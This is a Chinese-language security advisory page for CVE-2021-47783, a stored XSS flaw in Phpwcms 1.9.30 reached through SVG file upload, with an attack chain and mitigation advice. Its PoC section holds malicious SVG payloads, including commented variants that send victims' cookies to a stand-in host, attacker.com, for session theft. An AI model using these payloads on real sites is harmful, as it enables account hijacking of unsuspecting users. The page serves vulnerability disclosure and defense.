IPBUF安全漏洞报告
English
CVE-2021-47783 CVSS 5.4 中危

CVE-2021-47783: Phpwcms 1.9.30文件上传漏洞导致XSS攻击

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2021-47783
漏洞类型
跨站脚本攻击(XSS)/文件上传漏洞
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Phpwcms

相关标签

CVE-2021-47783Phpwcms文件上传漏洞跨站脚本攻击XSS存储型XSSSVGSVG XSSWeb应用安全内容管理系统

漏洞概述

CVE-2021-47783是Phpwcms内容管理系统中的一个中危安全漏洞,CVSS评分5.4,影响版本为1.9.30。该漏洞属于文件上传安全缺陷与存储型跨站脚本攻击(XSS)的复合型漏洞。攻击者利用该漏洞可以通过平台的多次文件上传功能,上传包含恶意JavaScript代码的SVG文件。当其他用户访问或查看这些被上传的SVG文件时,嵌入其中的恶意脚本代码将在受害者浏览器中执行,从而实现窃取用户会话Cookie、劫持用户账号、进行钓鱼攻击或传播恶意软件等恶意行为。由于该漏洞需要认证才能利用,攻击者需要拥有有效的用户账号,但低权限账户即可完成攻击。漏洞的根源在于Phpwcms在文件上传过程中未对SVG文件内容进行充分的安全过滤和清洗,导致攻击者可以绕过常规的安全检查机制。此类漏洞对Web应用的安全性构成严重威胁,特别是在多用户协作环境中,攻击者可能通过存储型XSS横向移动攻击其他用户。

技术细节

该漏洞的技术原理涉及文件上传验证不严与SVG文件解析特性两个层面。Phpwcms 1.9.30在处理文件上传请求时,虽然可能对上传文件的扩展名和MIME类型进行了基本检查,但对SVG(Scalable Vector Graphics)文件的内容审查存在严重缺陷。SVG是一种基于XML的矢量图形格式,支持内嵌JavaScript代码(通过script标签或事件处理器如onload、onerror等)。攻击者构造恶意SVG文件,将JavaScript代码嵌入到SVG标签中,例如:<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)">。当服务器接收上传请求时,系统仅验证文件扩展名为.svg或MIME类型为image/svg+xml,但不会解析SVG内容或过滤其中的脚本代码。被上传的恶意SVG文件存储在服务器上后,当其他用户通过浏览器访问该文件时,浏览器会解析SVG并执行其中的JavaScript代码。由于浏览器的同源策略限制被绕过,攻击者可以窃取受害者的认证令牌、会话ID等敏感信息,进而冒充合法用户进行操作。漏洞利用需要攻击者具备Phpwcms系统的有效账号,且拥有文件上传权限,通常为普通用户角色即可满足要求。

攻击链分析

STEP 1
步骤1
攻击者获取Phpwcms系统有效账号并登录,通常为低权限用户即可
STEP 2
步骤2
攻击者构造包含恶意JavaScript代码的SVG文件,利用SVG格式支持内嵌脚本的特性
STEP 3
步骤3
通过Phpwcms的多文件上传功能上传恶意SVG文件,系统仅检查扩展名和MIME类型
STEP 4
步骤4
恶意SVG文件被存储在服务器上,文件URL被分享或嵌入到页面中
STEP 5
步骤5
受害者访问该SVG文件时,浏览器解析SVG并执行其中的恶意JavaScript代码
STEP 6
步骤6
攻击者通过JavaScript代码窃取受害者Cookie、会话令牌等敏感信息
STEP 7
步骤7
攻击者利用窃取的凭证劫持受害者会话,执行未授权操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Malicious SVG file for CVE-2021-47783 --> <!-- This PoC demonstrates the XSS vulnerability in Phpwcms file upload --> <!-- Basic XSS PoC --> <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)"> <rect width="100" height="100" fill="red"/> </svg> <!-- Cookie Stealing PoC --> <!-- <svg xmlns="http://www.w3.org/2000/svg"> <script> <![CDATA[ fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie)); ]]> </script> </svg> --> <!-- Session Hijacking PoC --> <!-- <svg xmlns="http://www.w3.org/2000/svg"> <foreignObject width="100" height="100"> <div xmlns="http://www.w3.org/1999/xhtml"> <script> document.location='https://attacker.com/hijack?session='+document.cookie; </script> </div> </foreignObject> </svg> --> <!-- Upload Instructions: 1. Login to Phpwcms with valid credentials 2. Navigate to file upload functionality (multiple file upload feature) 3. Upload this SVG file 4. When victim views the uploaded SVG, XSS payload executes -->

影响范围

Phpwcms 1.9.30

防御指南

临时缓解措施
在官方修复版本发布之前,可采取以下临时缓解措施:1)禁用SVG文件上传功能;2)配置Web服务器对SVG文件添加application/octet-stream的Content-Type头,强制下载而非直接在浏览器解析;3)部署WAF(Web应用防火墙)规则检测和拦截包含恶意script标签或事件处理器的SVG文件;4)限制文件上传目录的访问权限;5)增强用户权限管理,限制低权限用户的上传功能;6)实施内容安全策略(CSP)响应头,限制脚本执行;7)监控文件上传行为,及时发现异常上传活动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表